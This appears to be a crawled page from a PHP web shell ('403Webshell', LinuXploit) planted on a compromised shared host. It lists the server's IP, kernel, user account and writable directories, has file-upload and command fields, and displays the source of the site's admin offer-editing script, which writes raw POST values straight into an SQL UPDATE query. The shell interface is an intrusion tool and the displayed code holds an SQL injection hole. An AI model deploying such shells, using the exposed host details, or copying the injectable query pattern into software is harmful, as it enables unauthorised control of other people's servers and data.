403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/18/d194259149/htdocs/bonus1/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/18/d194259149/htdocs/bonus1/admin/editoffer.php
<?php



session_start();





include "../config.php";

include "../header.php";

include "../style.php";



if( session_is_registered("alogin") ) {

    	?><table>

      	<tr>

        <td width="15%" valign=top><br>

        <? include("adminnavigation.php"); ?>

        </td>

        <td valign="top" align="center"><br><br> <?

    	echo "<font size=2 face='$fonttype' color='$fontcolour'><p><center>";



        echo "<center><H2>Edit Offer Page</H2></center>";

		

		if($_POST['action'] == "update") {

		

				mysql_query("UPDATE offerpage SET price = '".$_POST['price']."', memtype = '".$_POST['memtype']."', enable = '".$_POST['enable']."', upgrade_pro = '".$_POST['upgrade_pro']."', freecommission='".$_POST['freecommission']."', procommission='".$_POST['procommission']."', pro2commission='".$_POST['pro2commission']."', pinterval='".$_POST['interval']."' WHERE 1");

				

				echo "<font color=red>The settings have been updated.</font><br><br>";

			

			}

			

		

			$sql = mysql_query("SELECT * FROM offerpage LIMIT 1");

			$offer = mysql_fetch_array($sql);

		

		
		if($_POST['reset']) {
			mysql_query("UPDATE members SET viewed_offer=0 WHERE 1");
			echo "<font color=red>The views have been reset.</font><br><br>";
		}
		

		?>


		

		  <form method="POST" action="editoffer.php">

		  <input type="hidden" name="action" value="update">

		  <table>

		   <tr><td>Price:</td><td><input type="text" name="price" value="<? echo $offer['price']; ?>">$</td></tr>
	  

			 <tr><td>Free commission:</td><td><input type="text" name="freecommission" value="<? echo $offer['freecommission']; ?>">$</td></tr>	
			 <tr><td>1st level commission:</td><td><input type="text" name="procommission" value="<? echo $offer['procommission']; ?>">$</td></tr>	
			 <tr><td>2nd level commission:</td><td><input type="text" name="pro2commission" value="<? echo $offer['pro2commission']; ?>">$</td></tr>	
			 
			 
			  <tr><td>Payment interval:</td><td>
			 
		
       <select name="interval">

       <? if ($offer['pinterval']=="Monthly") { ?>

        <option>Monthly</option>

	    <option>Yearly</option>

        <option>Lifetime</option>

       <?} elseif ($offer['pinterval']=="Yearly") { ?>

         <option>Yearly</option>

        <option>Monthly</option>

        <option>Lifetime</option>

       <?} elseif ($offer['pinterval']=="Lifetime") { ?>

        <option>Lifetime</option>

        <option>Monthly</option>

	    <option>Yearly</option>

       <?} else { ?>

        <option>Monthly</option>

	    <option>Yearly</option>

        <option>Lifetime</option>

       <?} ?>

	   </select>
	    </td></tr>


	  

		  <tr><td>Upgrade:</td><td><input type="radio" name="upgrade_pro" value="1"<? if($offer['upgrade_pro'] == 1) echo " CHECKED"; ?>> 1st level <input type="radio" name="upgrade_pro" value="2"<? if($offer['upgrade_pro'] == 2) echo " CHECKED"; ?>> 2nd level <input type="radio" name="upgrade_pro" value="0"<? if($offer['upgrade_pro'] == 0) echo " CHECKED"; ?>> no</td></tr> 

		  <tr><td>Show to:</td><td><input type="radio" name="memtype" value="FREE"<? if($offer['memtype'] == "FREE") echo " CHECKED"; ?>> Free members <input type="radio" name="memtype" value="PRO"<? if($offer['memtype'] == "PRO") echo " CHECKED"; ?>> 1st level upgraded members<br> <input type="radio" name="memtype" value="PRO2"<? if($offer['memtype'] == "PRO2") echo " CHECKED"; ?>> 2nd level upgraded members <input type="radio" name="memtype" value="ALL"<? if($offer['memtype'] == "ALL") echo " CHECKED"; ?>> All</td></tr>

		  <tr><td>Show after login:</td><td><input type="radio" name="enable" value="1"<? if($offer['enable'] == 1) echo " CHECKED"; ?>> always <input type="radio" name="enable" value="2"<? if($offer['enable'] == 2) echo " CHECKED"; ?>> only once <input type="radio" name="enable" value="0"<? if($offer['enable'] == 0) echo " CHECKED"; ?>> no</td></tr> 		  

		  <tr><td colspan="2" align="center"><input type="submit" value="Update"></td></tr>

		  </table>

          </form>

		

		<br><br>
					<form method="POST" action="editoffer.php"><input type="submit" name="reset" value="Reset views"></form>
		

		

		<?

        echo "</td></tr></table>";

    }

else

	echo "Unauthorised Access!";



include "../footer.php";



?>

Youez - 2016 - github.com/yon3zu
LinuXploit